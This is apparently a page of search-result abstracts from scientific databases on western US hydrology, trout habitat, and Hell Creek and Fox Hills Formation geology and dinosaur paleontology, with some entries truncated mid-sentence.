DOE Office of Scientific and Technical Information (OSTI.GOV)

Graves, Suzy

Ranking criteria were developed to rate 19 tributaries on the Coeur d`Alene Indiana Reservation for potential of habitat enhancement for westslope cutthroat trout, Oncorhynchus clarki lewisi, and bull trout, Salvelinus malma. Cutthroat and bull trout habitat requirements, derived from an extensive literature review of each species, were compared to the physical and biological parameters of each stream observed during an aerial -- helicopter survey. Ten tributaries were selected for further study, using the ranking criteria that were derived. The most favorable ratings were awarded to streams that were located completely on the reservation, displayed highest potential for improvement and enhancement,more » had no barriers to fish migration, good road access, and a gradient acceptable to cutthroat and bull trout habitation. The ten streams selected for study were Bellgrove, Fighting, Lake, Squaw, Plummer, Little Plummer, Benewah, Alder, Hell`s Gulch and Evans creeks.« less

Assessment of groundwater quality data for the Turtle Mountain Indian Reservation, Rolette County, North Dakota

USGS Publications Warehouse

Lundgren, Robert F.; Vining, Kevin C.

2013-01-01

The Turtle Mountain Indian Reservation relies on groundwater supplies to meet the demands of community and economic needs. The U.S. Geological Survey, in cooperation with the Turtle Mountain Band of Chippewa Indians, examined historical groundwater-level and groundwater-quality data for the Fox Hills, Hell Creek, Rolla, and Shell Valley aquifers. The two main sources of water-quality data for groundwater were the U.S. Geological Survey National Water Information System database and the North Dakota State Water Commission database. Data included major ions, trace elements, nutrients, field properties, and physical properties. The Fox Hills and Hell Creek aquifers had few groundwater water-quality data. The lack of data limits any detailed assessments that can be made about these aquifers. Data for the Rolla aquifer exist from 1978 through 1980 only. The concentrations of some water-quality constituents exceeded the U.S. Environmental Protection Agency secondary maximum contaminant levels. No samples were analyzed for pesticides and hydrocarbons. Numerous water-quality samples have been obtained from the Shell Valley aquifer. About one-half of the water samples from the Shell Valley aquifer had concentrations of iron, manganese, sulfate, and dissolved solids that exceeded the U.S. Environmental Protection Agency secondary maximum contaminant levels. Overall, the data did not indicate obvious patterns in concentrations.

36 CFR 294.29 - List of designated Idaho Roadless Areas.

Code of Federal Regulations, 2011 CFR

2011-07-01

... 019 X X Boise Bear Wallow 125 X X Boise Bernard 029 X X Boise Black Lake 036 X X Boise Blue Bunch 923... Meadows 027 X X Boise Ten Mile/Black Warrior 013 X X X X Boise Tennessee 033 X X Boise Whiskey 031 X Boise...-Spring Creek 111 X X X X Caribou Gibson 181 X X Caribou Hell Hole 168 X X Caribou Huckleberry Basin 165 X...

Cultural Resources Survey for the Lake Darling-Souris River Project, North Dakota (1982).

DTIC Science & Technology

1985-06-13

order, of the Sentinel Butte, Tongue River, and Cannonball Formations of the Fort Union Group of the Tertiary System, and the Hell Creek and Fox Hills...epoch domi- nated by a general cultural pattern. Unfortunately, American archaeologists have chosen to mix and match their terms for cultural periods...period as defined by Antevs (1955), the Middle Plains Archaic which matched the early Middle Prehistoric Period of Mulloy, the Late Plains Archaic which

Unexpected resilience of species with temperature-dependent sex determination at the Cretaceous–Palaeogene boundary

PubMed Central

Silber, Sherman; Geisler, Jonathan H.; Bolortsetseg, Minjin

2011-01-01

It has been suggested that climate change at the Cretaceous–Palaeogene (K–Pg) boundary, initiated by a bolide impact or volcanic eruptions, caused species with temperature-dependent sex determination (TSD), including dinosaurs, to go extinct because of a skewed sex ratio towards all males. To test this hypothesis, the sex-determining mechanisms (SDMs) of Cretaceous tetrapods of the Hell Creek Formation (Montana, USA) were inferred using parsimony optimizations of SDMs on a tree, including Hell Creek species and their extant relatives. Although the SDMs of non-avian dinosaurs could not be inferred, we were able to determine the SDMs of 62 species; 46 had genotypic sex determination (GSD) and 16 had TSD. The TSD hypothesis for extinctions performed poorly, predicting between 32 and 34 per cent of survivals and extinctions. Most surprisingly, of the 16 species with TSD, 14 of them survived into the Early Palaeocene. In contrast, 61 per cent of species with GSD went extinct. Possible explanations include minimal climate change at the K–Pg, or if climate change did occur, TSD species that survived had egg-laying behaviour that prevented the skewing of sex ratios, or had a sex ratio skewed towards female rather than male preponderance. Application of molecular clocks may allow the SDMs of non-avian dinosaurs to be inferred, which would be an important test of the pattern discovered here. PMID:20980293

A surface vitrinite reflectance anomaly related to Bell Creek oil field, Montana, U.S.A.

USGS Publications Warehouse

Barker, C.E.; Dalziel, M.C.; Pawlewicz, M.J.

1983-01-01

Vitrinite reflectance measurements from surface samples of mudrock and coal show anomalously high values over the Bell Creek oil field. The average vitrinite reflectance (Rm) increases to a maximum of 0.9 percent over the field against background values of about 0.3 percent. The Rm anomaly coincides with a geochemical anomaly indicated by diagenetic magnetite in surface rocks and a geobiologic anomaly indicated by ethane-consuming bacteria. These samples were taken from the Upper Cretaceous Hell Creek and Paleocene Fort Union Formations which form an essentially conformable sequence. The depositional environment is similar in both formations, and we expect little variation in the source and composition of the organic matter. The surface R m should be approximately constant because of a uniform thermal history across the field. Temperature studies over local oil fields with similar geology suggest the expected thermal anomaly would be less than 10?C (50?F), which is too small to account for the significantly higher rank over the field. Coal clinkers are rare in the vicinity of Bell Creek and an Rm anomaly caused by burning of the thin, discontinuous coal seams is unlikely. The limited topographic relief, less than 305 m (1,000 ft), over the shallow-dipping homoclinal structure and the poor correlation between Rm and sample locality elevation (r = -0.2) indicate that the Rm anomaly is not due to burial, deformation and subsequent erosion. We conjecture that activity by petroleum-metabolizing bacteria is a possible explanation of the Rm anomaly. Microseepage from oil reservoirs supports large colonies of these organisms, some of which can produce enzymes that can cleave hydrocarbon side-chains on the kerogen molecule. The loss of these side chains causes condensation of the ring structures (Stach and others, 1982) and consequently increases its reflectance. These data indicate that vitrinite reflectance may be a useful tool to explore for stratigraphic traps in the Powder River Basin. Further, the large variation of R across the Bell Creek area suggests that vitrinite reflectance data from surface samples should be interpreted with caution.

A New Large-Bodied Oviraptorosaurian Theropod Dinosaur from the Latest Cretaceous of Western North America

PubMed Central

Lamanna, Matthew C.; Sues, Hans-Dieter; Schachner, Emma R.; Lyson, Tyler R.

2014-01-01

The oviraptorosaurian theropod dinosaur clade Caenagnathidae has long been enigmatic due to the incomplete nature of nearly all described fossils. Here we describe Anzu wyliei gen. et sp. nov., a new taxon of large-bodied caenagnathid based primarily on three well-preserved partial skeletons. The specimens were recovered from the uppermost Cretaceous (upper Maastrichtian) Hell Creek Formation of North and South Dakota, and are therefore among the stratigraphically youngest known oviraptorosaurian remains. Collectively, the fossils include elements from most regions of the skeleton, providing a wealth of information on the osteology and evolutionary relationships of Caenagnathidae. Phylogenetic analysis reaffirms caenagnathid monophyly, and indicates that Anzu is most closely related to Caenagnathus collinsi, a taxon that is definitively known only from a mandible from the Campanian Dinosaur Park Formation of Alberta. The problematic oviraptorosaurs Microvenator and Gigantoraptor are recovered as basal caenagnathids, as has previously been suggested. Anzu and other caenagnathids may have favored well-watered floodplain settings over channel margins, and were probably ecological generalists that fed upon vegetation, small animals, and perhaps eggs. PMID:24647078

Stratigraphy and depositional environments of Fox Hills Formation in Williston basin

DOE Office of Scientific and Technical Information (OSTI.GOV)

Daly, D.J.

The Fox Hills Formation (Maestrichtian), representing part of a regressive wedge deposited during the withdrawal of the sea from the Western Interior at the close of the Cretaceous, consists of marginal marine strata transitional between the offshore deposits of the underlying Pierre Shale and the terrestrial deltaic and coastal deposits of the overlying Hell Creek Formation. An investigation of outcrops of the Fox Hills Formation along the western and southern flanks of the Williston basin and study of over 300 oil and gas well logs from the central part of the basin indicate that the formation can be divided bothmore » stratigraphically and areally. Stratigraphically, the Fox Hills can be divided into lower and upper sequences; the lower includes the Trail City and Timber Lake Members, and the upper sequence includes the Colgate Member in the west and the Iron Lightning and Linton Members in the east. Areally, the formation can be divided into a northeastern and western part, where the strata are 30-45 m thick and are dominated by the lower sequence, and into a southeastern area where both the lower and upper sequences are well developed in a section 80-130 m thick. Typically, the lower Fox Hills consists of upward-coarsening shoreface or delta-front sequences containing hummocky bedding and a limited suite of trace fossils, most notably Ophiomorpha. In the southeast, however, these strata are dominated by bar complexes, oriented northeast-southwest, composed of cross-bedded medium to very fine-grained sand with abundant trace and body fossils. The upper Fox Hills represents a variety of shoreface, deltaic, and channel environments. The strata of the Fox Hills Formation exhibit facies similar to those reported for Upper Cretaceous gas reservoirs in the northern Great Plains.« less

Assessment of Native Salmonids Above Hells Canyon Dam, Idaho, 2001 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Meyer, Kevin A.; Lamansky, Jr., James A.

We investigated factors affecting the distribution and abundance of Yellowstone cutthroat trout (YCT), the abundance of all trout, and species richness in several drainages in the upper Snake River basin in Idaho. A total of 326 randomly selected sites were visited within the four study drainages, and of these, there was sufficient water to inventory fish and habitat in 56 of the sites in the Goose Creek drainage, 64 in the Raft River drainage, 54 in the Blackfoot River drainage, and 27 in the Willow Creek drainage. Fish were captured in 36, 55, 49, and 22 of the sites, respectively,more » and YCT were present at 17, 37, 32, and 13 of the sites, respectively. There was little consistency or strength in the models developed to predict YCT presence/absence and density, trout density, or species richness. Typically, the strongest models had the lowest sample sizes. In the Goose Creek drainage, sites with YCT were higher in elevation and lower in conductivity. In the Raft River drainage, trout cover was more abundant at sites with YCT than without YCT. In the Blackfoot River drainage, there was less fine substrate and more gravel substrate at sites with YCT than at sites without YCT. In the Willow Creek drainage, 70% of the sites located on public land contained YCT, but only 35% of private land contained YCT. The differences in variable importance between drainages suggests that factors that influence the distribution of YCT vary between drainages, and that for the most part the variables we measured had little influence on YCT distribution. n sites containing YCT, average cutthroat trout density was 0.11/m{sup 2}, 0.08/m{sup 2}, 0.10/m{sup 2}, and 0.08/m{sup 2} in the Goose Creek, Raft River, Blackfoot River, and Willow Creek drainages, respectively. In sites containing trout in general, average total trout density in these same drainages was 0.16/m{sup 2}, 0.15/m{sup 2}, 0.10/m{sup 2}, and 0.10/m{sup 2}. Models to predict YCT density, total trout density, and species richness were either weak (i.e., explained little variation) or contained small sample sizes. Based on our results, it appears that factors other than those we measured are affecting fish populations in these drainages.« less

Calibration of streamflow gauging stations at the Tenderfoot Creek Experimental Forest

Treesearch

Scott W. Woods

2007-01-01

We used tracer based methods to calibrate eleven streamflow gauging stations at the Tenderfoot Creek Experimental Forest in western Montana. At six of the stations the measured flows were consistent with the existing rating curves. At Lower and Upper Stringer Creek, Upper Sun Creek and Upper Tenderfoot Creek the published flows, based on the existing rating curves,...

The geohydrologic system and probable effects of mining in the Sand Creek-Hanks lignite area, western Williams County, North Dakota

USGS Publications Warehouse

Armstrong, C.A.

1985-01-01

The investigation was undertaken to define the geohydrology of the Sand Creek-Hanks area and to project probable hydrologic effects of lignite mining on the area. Aquifers occur in sandstone beds in the Fox Hills Sandstone and the Hell Creek Formation of Cretaceous age and in sandstone lenses and lignite beds in the Tongue River and Sentinel Butte Members of the Fort Union Formation of Tertiary age.The top of the Fox Hills aquifer ranges from about 1,200 to 2,000 feet below land surface. Yields of wells completed in the aquifer could be as much as 60 gallons per minute. Water in the Fox Hills aquifer is a sodium bicarbonate type and generallyDepths to the top of the Hell Creek aquifer range from about 900 to 1,600 feet. Well yields range from less than 10 to 40 gallons per minute. Water in the aquifer is a sodium bicarbonate type and generally contains between 1,000 and 2,200 milligrams per liter dissolved solids. Depths to aquifers in the Tongue River and Sentinel Butte Members of Fort Union Formation range from near land surface to about 1,000 feet below land surface. Wells completed in the aquifers may yield as much as 40 gallons per minute of sodium bicarbonate or a sodium sulfate type water that contains about 800 to 4,100 milligrams per liter dissolved solids.Glacial drift covers most of the study area. The drift thickness ranges from a veneer to about 380 feet. Well yields range from a few gallons per minute to 900 gallons per minute. Dissolved-solids concentrations in water from the glacial drift generally range from 477 to 2,050 milligrams per liter. Mining of lignite will destroy all aquifers in and above the mined lignite and will expose overburden to oxidation. Leaching will cause an increase in dissolved solids in ground water immediately beneath the mines and possibly will cause some increase in the dissolved solids in low flows in area streams.

Amphibian, reptilian, and avian remains from the Fox Hills Formation (Maastrichtian): Shoreline and estuarine deposits of the Pierre Sea in south-central North Dakota

USGS Publications Warehouse

Hoganson, J.W.; Erickson, J.M.; Holland, F.D.

2007-01-01

Although vertebrate fossils, except for fish, are not common in the Maastrichtian Fox Hills Formation, amphibian, reptilian, and avian remains have been recovered at several localities in south-central North Dakota from shoreline facies of the retreating Pierre-Fox Hills seaway. This mixed fauna of aquatic, terrestrial, and marine taxa provides insight into the composition of coastal communities and habitats at the interface between the Hell Creek delta and the Western Interior Seaway. The delta-platform aquatic paleocommunity is represented by the efficient swimming salamanders Opistho- trition kayi and Lisserpeton bairdi, the carnivorous soft-shelled turtle "Aspideretes" sensu lato, the underwater piscivorous predator Champsosaurus laramiensis, and the large, predatory crocodile IBorealosuchus. Terrestrial areas were inhabited by the tortoise-like Basilemys and the predatory dinosaurs Tyrannosaurus and cf. Saurornit- holestes. Birds occupied niches in the warm-temperate to subtropical, forested delta platform and shoreline areas. These nonmarine taxa in the Fox Hills Formation indicate that the geographic range of these animals extended to shoreline areas of the Western Interior Seaway. The toxochelyid turtle Lophochelys and the ambush predators Mosasaurus dekayi and IPlioplatecarpus resided in the shallow marine and estuarine habitats. These taxa and marine fish taxa reported earlier indicate that normal marine conditions in south- central North Dakota persisted into the latest Late Cretaceous in comparison with coeval Hell Creek Formation sites more distal from the Western Interior Seaway. ?? 2007 The Geological Society of America. All rights reserved.

Stratigraphy and depositional environments of Fox Hills Formation (Late Cretaceous), Williston basin

DOE Office of Scientific and Technical Information (OSTI.GOV)

Daly, D.J.

The Fox Hills Formation (Late Cretaceous, Maestrichtian) was investigated where it crops out along the southern flank of the Williston basin and in the subsurface over the central portion of the basin, using 300 well logs. The formation is conformable and gradational with the underlying Pierre formation and can be either conformable or unconformable with the overlying Hell Creek Formation. The Fox Hills Formation is younger, thicker, and stratigraphically more complex to the east and is comprised of marginal marine sediments deposited during the final Cretaceous regression. To the west, the Fox Hills Formation is an upward-coarsening unit generally 30more » to 45 m thick and usually contains three members: from the base, Trail City, Timber Lake, and Colgate. The lower Fox Hills (Trail City, Timber Lake) is generally dominated by hummocky bedding and contains a variety of trace fossils, most notably Ophiomorpha. The upper Fox Hills (Colgate), where present, is characterized by cross-bedding. To the east, including the type area, the section is generally 80 to 100 m thick and contains four members: from the base, Trail City, Timber Lake, Iron Lightning (Colgate and Bullhead lithofacies), and Linton. In contrast to the section in the west, this section is as much as three times thicker, contains abundant body fossils, generally lacks hummocky bedding, and contains the Bullhead and Linton strata. In the west, the strata represent lower shoreface deposits, predominantly of storm origin (lower Fox Hills), overlain by upper shoreface and fluvial deposits (upper Fox Hills). In the east, the lower Fox Hills contains deposits of the lower shoreface (Trail City) and a barrier bar complex (Timber Lake), overlain by the deltaic deposits of the upper Fox Hills (Iron Lightning, Linton).« less

Influence of drought conditions on brown trout biomass and size structure in the Black Hills, South Dakota

USGS Publications Warehouse

James, Daniel A.; Wilhite, Jerry W.; Chipps, Steven R.

2010-01-01

We evaluated the influence of drought conditions on the biomass of brown trout Salmo trutta in Spearfish Creek, upper Rapid Creek, and lower Rapid Creek in the Black Hills of western South Dakota. Stream discharge, mean summer water temperature, the biomass of juvenile and adult brown trout, and brown trout size structure were compared between two time periods: early (2000–2002) and late drought (2005–2007). Mean summer water temperatures were similar between the early- and late-drought periods in Spearfish Creek (12.4°C versus 11.5°C), lower Rapid Creek (19.2°C versus 19.3°C), and upper Rapid Creek (9.8°C in both periods). In contrast, mean annual discharge differed significantly between the two time periods in Spearfish Creek (1.95 versus 1.50 m3/s), lower Rapid Creek (2.01 versus 0.94 m3/s), and upper Rapid Creek (1.41 versus 0.84 m3/s). The mean biomass of adult brown trout in all three stream sections was significantly higher in the early-drought than in the late-drought period (238 versus 69 kg/ha in Spearfish Creek, 272 versus 91 kg/ha in lower Rapid Creek, and 159 versus 32 kg/ha in upper Rapid Creek). The biomass of juvenile brown trout was similar (43 versus 23 kg/ha) in Spearfish Creek in the two periods, declined from 136 to 45 kg/ha in lower Rapid Creek, and increased from 14 to 73 kg/ha in upper Rapid Creek. Size structure did not differ between the early- and late-drought periods in lower Rapid and Spearfish creeks, but it did in upper Rapid Creek. In addition to drought conditions, factors such as angler harvest, fish movements, and the nuisance algal species Didymosphenia geminata are discussed as possible contributors to the observed changes in brown trout biomass and size structure in Black Hills streams.

Analytical results and sample locality maps of stream-sediment, heavy-mineral-concentrate, and rock samples from the Little Jacks Creek (ID-111-006), Big Jacks Creek (ID-111-007C), Duncan Creek (ID-111-0007B), and Upper Deep Creek (ID-111-044) Wilderness Study Areas, Owyhee County, Idaho

DOE Office of Scientific and Technical Information (OSTI.GOV)

Erickson, M.S.; Gent, C.A.; Bradley, L.A.

1989-01-01

A U.S. Geological Survey report detailing the analytical results and sample locality maps of stream-sediment, heavy-mineral-concentrate, and rock samples from the Little Jacks Creek, Big Jacks Creek, Duncan Creek, and Upper Deep Creek Wilderness Study Areas, Owyhee County, Idaho

1. EXTERIOR OVERVIEW OF SOUTH END OF RUSH CREEK POWERHOUSE ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

1. EXTERIOR OVERVIEW OF SOUTH END OF RUSH CREEK POWERHOUSE RESIDENTIAL COMPLEX SHOWING THE RUSH CREEK POWERHOUSE AT PHOTO RIGHT, BUILDING 106 NEXT TO THE POWERHOUSE AT PHOTO CENTER, BUILDING 103 AT UPPER PHOTO LEFT, AND BUILDING 104 ABOVE BUILDING 106 PARTIALLY OBSCURED BEHIND TREE AT UPPER PHOTO CENTER. VIEW TO SOUTH. - Rush Creek Hydroelectric System, Worker Cottage, Rush Creek, June Lake, Mono County, CA

Mapping spatial and temporal variation of stream water temperature in the upper Esopus Creek watershed

NASA Astrophysics Data System (ADS)

Chien, H.; McGlinn, L.

2017-12-01

The upper Esopus Creek and its tributary streams located in the Catskill Mountain region of New York State provide habitats for cold-adapted aquatic species. However, ongoing global warming may change the stream water temperature within a watershed and disturb the persistence of coldwater habitats. Characterizing thermal regimes within the upper Esopus Creek watershed is important to provide information of thermally suitable habitats for aquatic species. The objectives of this study are to measure stream water temperature and map thermal variability among tributaries to the Esopus Creek and within Esopus Creek. These objectives will be achieved by measuring stream water temperature for at least two years. More than 100 water temperature data loggers have been placed in the upper Esopus Creek and their tributaries to collect 30-minute interval water temperatures. With the measured water temperature, we will use spatial interpolation in ArcGIS to create weekly and monthly water temperature surface maps to evaluate the thermal variation over time and space within the upper Esopus Creek watershed. We will characterize responsiveness of water temperature in tributary streams to air temperature as well. This information of spatial and temporal variation of stream water temperature will assist stream managers with prioritizing management practices that maintain or enhance connectivity of thermally suitable habitats in high priority areas.

Palynologically calibrated vertebrate record from North Dakota consistent with abrupt dinosaur extinction at the Cretaceous-Tertiary boundary

USGS Publications Warehouse

Pearson, D.A.; Schaefer, T.; Johnson, K.R.; Nichols, D.J.

2001-01-01

New data from 17 Cretaceous-Tertiary (K-T) boundary sections and 53 vertebrate sites in the Hell Creek and Fort Union Formations in southwestern North Dakota document a 1.76 m barren interval between the highest Cretaceous vertebrate fossils and the palynologically recognized K-T boundary. The boundary is above the formational contact at 15 localities and coincident with it at two, demonstrating that the formational contact is diachronous. Dinosaurs are common in the highest Cretaceous vertebrate samples and a partial dinosaur skeleton in the Fort Union Formation is the highest recorded Cretaceous vertebrate fossil in this area.

Gradual Dinosaur Extinction and Simultaneous Ungulate Radiation in the Hell Creek Formation

NASA Astrophysics Data System (ADS)

Sloan, Robert E.; Rigby, J. Keith; van Valen, Leigh M.; Gabriel, Diane

1986-05-01

Dinosaur extinction in Montana, Alberta, and Wyoming was a gradual process that began 7 million years before the end of the Cretaceous and accelerated rapidly in the final 0.3 million years of the Cretaceous, during the interval of apparent competition from rapidly evolving immigrating ungulates. This interval involves rapid reduction in both diversity and population density of dinosaurs. The last dinosaurs known are from a channel that contains teeth of Mantuan mammals, seven species of dinosaurs, and Paleocene pollen. The top of this channel is 1.3 meters above the likely position of the iridium anomaly, the Cretaceous/Tertiary boundary.

Concentrations of metals and trace elements in aquatic biota associated with abandoned mine lands in the Whiskeytown National Recreation Area and nearby Clear Creek watershed, Shasta County, northwestern California, 2002-2003

USGS Publications Warehouse

Hothem, Roger L.; May, Jason T.; Gibson, Jennifer K.; Brussee, Brianne E.

2015-01-01

Compared with other recently evaluated mine-impacted watersheds in northern California, invertebrates, amphibians, and fish from sites within the Upper Clear Creek watershed tended to have significantly lower concentrations of Hg than at most other sites. For other metals and trace elements, Upper Clear Creek sites were only compared with the Deer Creek watershed, Nevada County, California. Copper from both Willow Creek sites (WLCC and WLTH) in the Clear Creek watershed was the only metal with concentrations in biota that were significantly higher than biota from Deer Creek

Hydrology, Water Quality, and Surface- and Ground-Water Interactions in the Upper Hillsborough River Watershed, West-Central Florida

USGS Publications Warehouse

Trommer, J.T.; Sacks, L.A.; Kuniansky, E.L.

2007-01-01

A study of the Hillsborough River watershed was conducted between October 1999 through September 2003 to characterize the hydrology, water quality, and interaction between the surface and ground water in the highly karstic uppermost part of the watershed. Information such as locations of ground-water recharge and discharge, depth of the flow system interacting with the stream, and water quality in the watershed can aid in prudent water-management decisions. The upper Hillsborough River watershed covers a 220-square-mile area upstream from Hillsborough River State Park where the watershed is relatively undeveloped. The watershed contains a second order magnitude spring, many karst features, poorly drained swamps, marshes, upland flatwoods, and ridge areas. The upper Hillsborough River watershed is subdivided into two major subbasins, namely, the upper Hillsborough River subbasin, and the Blackwater Creek subbasin. The Blackwater Creek subbasin includes the Itchepackesassa Creek subbasin, which in turn includes the East Canal subbasin. The upper Hillsborough River watershed is underlain by thick sequences of carbonate rock that are covered by thin surficial deposits of unconsolidated sand and sandy clay. The clay layer is breached in many places because of the karst nature of the underlying limestone, and the highly variable degree of confinement between the Upper Floridan and surficial aquifers throughout the watershed. Potentiometric-surface maps indicate good hydraulic connection between the Upper Floridan aquifer and the Hillsborough River, and a poorer connection with Blackwater and Itchepackesassa Creeks. Similar water level elevations and fluctuations in the Upper Floridan and surficial aquifers at paired wells also indicate good hydraulic connection. Calcium was the dominant ion in ground water from all wells sampled in the watershed. Nitrate concentrations were near or below the detection limit in all except two wells that may have been affected by fertilizer or animal waste. Wells at the Blackwater Creek and Hillsborough River at State Road 39 transects showed little seasonal variation in dissolved organic carbon. Dissolved organic carbon concentrations, however, were greater during the wet season than during the dry season at the Hillsborough River Tract transect, indicating some influence from surface-water sources. During dry periods, streamflow in the upper Hillsborough River was sustained by ground water from the underlying Upper Floridan aquifer. During wet periods, streamflow had additional contributions from runoff, and release of water from extensive riverine wetlands, and by overflow from the Withlacoochee River. In contrast, streamflow in Blackwater and Itchepackesassa Creeks was less constant, with many no-flow days occurring during dry periods. During wet season storm events, streamflow peaks occur more rapidly because there is greater confinement between the surficial deposits and the Upper Floridan aquifer, and these creeks have been highly channelized, leaving less of the adjacent wetlands intact. During dry periods, Blackwater Creek is dry upstream from its confluence with Itchepackesassa Creek, and all downstream flow is from Itchepackesassa Creek. Much of the dry season flow in Itchepackesassa Creek originates from a treated wastewater effluent outfall located on East Canal. Long-term streamflow at the Hillsborough River and Blackwater Creek stations was greater than the discharge observed during the study period. Water quality in the upper Hillsborough River is influenced by ground-water discharge. The chemical composition of water from Blackwater Creek, Itchepackesassa Creek, and East Canal was more variable because there was less ground-water discharge to these creeks than to the upper Hillsborough River, and because of the influence of wastewater effluent. Strontium isotope data indicated that the source of the water at all Hillsborough River sites during the dry season was the Oli

Assessment of hydrology, water quality, and trace elements in selected placer-mined creeks in the birch creek watershed near central, Alaska, 2001-05

USGS Publications Warehouse

Kennedy, Ben W.; Langley, Dustin E.

2007-01-01

Executive Summary The U.S. Geological Survey, in cooperation with the Bureau of Land Management, completed an assessment of hydrology, water quality, and trace-element concentrations in streambed sediment of the upper Birch Creek watershed near Central, Alaska. The assessment covered one site on upper Birch Creek and paired sites, upstream and downstream from mined areas, on Frying Pan Creek and Harrison Creek. Stream-discharge and suspended-sediment concentration data collected at other selected mined and unmined sites helped characterize conditions in the upper Birch Creek watershed. The purpose of the project was to provide the Bureau of Land Management with baseline information to evaluate watershed water quality and plan reclamation efforts. Data collection began in September 2001 and ended in September 2005. There were substantial geomorphic disturbances in the stream channel and flood plain along several miles of Harrison Creek. Placer mining has physically altered the natural stream channel morphology and removed streamside vegetation. There has been little or no effort to re-contour waste rock piles. During high-flow events, the abandoned placer-mine areas on Harrison Creek will likely contribute large quantities of sediment downstream unless the mined areas are reclaimed. During 2004 and 2005, no substantial changes in nutrient or major-ion concentrations were detected in water samples collected upstream from mined areas compared with water samples collected downstream from mined areas on Frying Pan Creek and Harrison Creek that could not be attributed to natural variation. This also was true for dissolved oxygen, pH, and specific conductance-a measure of total dissolved solids. Sample sites downstream from mined areas on Harrison Creek and Frying Pan Creek had higher median suspended-sediment concentrations, by a few milligrams per liter, than respective upstream sites. However, it is difficult to attach much importance to the small downstream increase, less than 10 milligrams per liter, in median suspended-sediment concentration for either basin. During low-flow conditions in 2004 and 2005, previously mined areas investigated on Harrison Creek and on Frying Pan Creek did not contribute substantial suspended sediments to sample sites downstream from the mined areas. No substantial mining-related water- or sediment-quality problems were detected at any of the sites investigated in the upper Birch Creek watershed during low-flow conditions. Average annual streamflow and precipitation were near normal in 2002 and 2003. Drought conditions, extreme forest fire impact, and low annual streamflow set apart the 2004 and 2005 summer seasons. Daily mean streamflow for upper Birch Creek varied throughout the period of record-from maximums of about 1,000 cubic feet per second to minimums of about 20 cubic feet per second. Streamflow increased and decreased rapidly in response to rainfall and rapid snowmelt events because the steep slopes, thin soil cover, and permafrost areas in the watershed have little capacity to retain runoff. Median suspended-sediment concentrations for the 115 paired samples from Frying Pan Creek and 101 paired samples from Harrison Creek were less than the 20 milligrams per liter total maximum daily load. The total maximum daily load was set by the U.S. Environmental Protection Agency for the upper Birch Creek basin in 1996. Suspended-sediment paired-sample data were collected using automated samplers in 2004 and 2005, primarily during low-flow conditions. Suspended-sediment concentrations in grab samples from miscellaneous sites ranged from less than 1 milligram per liter during low-flow conditions to 1,386 milligrams per liter during a high-flow event on upper Birch Creek. Streambed-sediment samples were collected at six sites on Harrison Creek, two sites on Frying Pan Creek, and one site on upper Birch Creek. Trace-element concentrations of mercury, lead, and zinc in streambed sedimen

Spatial niche partitioning in dinosaurs from the latest cretaceous (Maastrichtian) of North America.

PubMed

Lyson, Tyler R; Longrich, Nicholas R

2011-04-22

We examine patterns of occurrence of associated dinosaur specimens (n = 343) from the North American Upper Cretaceous Hell Creek Formation and equivalent beds, by comparing their relative abundance in sandstone and mudstone. Ceratopsians preferentially occur in mudstone, whereas hadrosaurs and the small ornithopod Thescelosaurus show a strong association with sandstone. By contrast, the giant carnivore Tyrannosaurus rex shows no preferred association with either lithology. These lithologies are used as an indicator of environment of deposition, with sandstone generally representing river environments, and finer grained sediments typically representing floodplain environments. Given these patterns of occurrence, we argue that spatial niche partitioning helped reduce competition for resources between the herbivorous dinosaurs. Within coastal lowlands ceratopsians preferred habitats farther away from rivers, whereas hadrosaurs and Thescelosaurus preferred habitats in close proximity to rivers, and T. rex, the ecosystem's sole large carnivore, inhabited both palaeoenvironments. Spatial partitioning of the environment helps explain how several species of large herbivorous dinosaurs coexisted. This study emphasizes that different lithologies can preserve dramatically dissimilar vertebrate assemblages, even when deposited in close proximity and within a narrow window of time. The lithology in which fossils are preserved should be recorded as these data can provide unique insights into the palaeoecology of the animals they preserve.

Spatial niche partitioning in dinosaurs from the latest cretaceous (Maastrichtian) of North America

PubMed Central

Lyson, Tyler R.; Longrich, Nicholas R.

2011-01-01

We examine patterns of occurrence of associated dinosaur specimens (n = 343) from the North American Upper Cretaceous Hell Creek Formation and equivalent beds, by comparing their relative abundance in sandstone and mudstone. Ceratopsians preferentially occur in mudstone, whereas hadrosaurs and the small ornithopod Thescelosaurus show a strong association with sandstone. By contrast, the giant carnivore Tyrannosaurus rex shows no preferred association with either lithology. These lithologies are used as an indicator of environment of deposition, with sandstone generally representing river environments, and finer grained sediments typically representing floodplain environments. Given these patterns of occurrence, we argue that spatial niche partitioning helped reduce competition for resources between the herbivorous dinosaurs. Within coastal lowlands ceratopsians preferred habitats farther away from rivers, whereas hadrosaurs and Thescelosaurus preferred habitats in close proximity to rivers, and T. rex, the ecosystem's sole large carnivore, inhabited both palaeoenvironments. Spatial partitioning of the environment helps explain how several species of large herbivorous dinosaurs coexisted. This study emphasizes that different lithologies can preserve dramatically dissimilar vertebrate assemblages, even when deposited in close proximity and within a narrow window of time. The lithology in which fossils are preserved should be recorded as these data can provide unique insights into the palaeoecology of the animals they preserve. PMID:20943689

Preliminary geochemical assessment of water in selected streams, springs, and caves in the Upper Baker and Snake Creek drainages in Great Basin National Park, Nevada, 2009

USGS Publications Warehouse

Paul, Angela P.; Thodal, Carl E.; Baker, Gretchen M.; Lico, Michael S.; Prudic, David E.

2014-01-01

Water in caves, discharging from springs, and flowing in streams in the upper Baker and Snake Creek drainages are important natural resources in Great Basin National Park, Nevada. Water and rock samples were collected from 15 sites during February 2009 as part of a series of investigations evaluating the potential for water resource depletion in the park resulting from the current and proposed groundwater withdrawals. This report summarizes general geochemical characteristics of water samples collected from the upper Baker and Snake Creek drainages for eventual use in evaluating possible hydrologic connections between the streams and selected caves and springs discharging in limestone terrain within each watershed.Generally, water discharging from selected springs in the upper Baker and Snake Creek watersheds is relatively young and, in some cases, has similar chemical characteristics to water collected from associated streams. In the upper Baker Creek drainage, geochemical data suggest possible hydrologic connections between Baker Creek and selected springs and caves along it. The analytical results for water samples collected from Wheelers Deep and Model Caves show characteristics similar to those from Baker Creek, suggesting a hydrologic connection between the creek and caves, a finding previously documented by other researchers. Generally, geochemical evidence does not support a connection between water flowing in Pole Canyon Creek to that in Model Cave, at least not to any appreciable extent. The water sample collected from Rosethorn Spring had relatively high concentrations of many of the constituents sampled as part of this study. This finding was expected as the water from the spring travelled through alluvium prior to being discharged at the surface and, as a result, was provided the opportunity to interact with soil minerals with which it came into contact. Isotopic evidence does not preclude a connection between Baker Creek and the water discharging from Rosethorn Spring. The residence time of water discharging 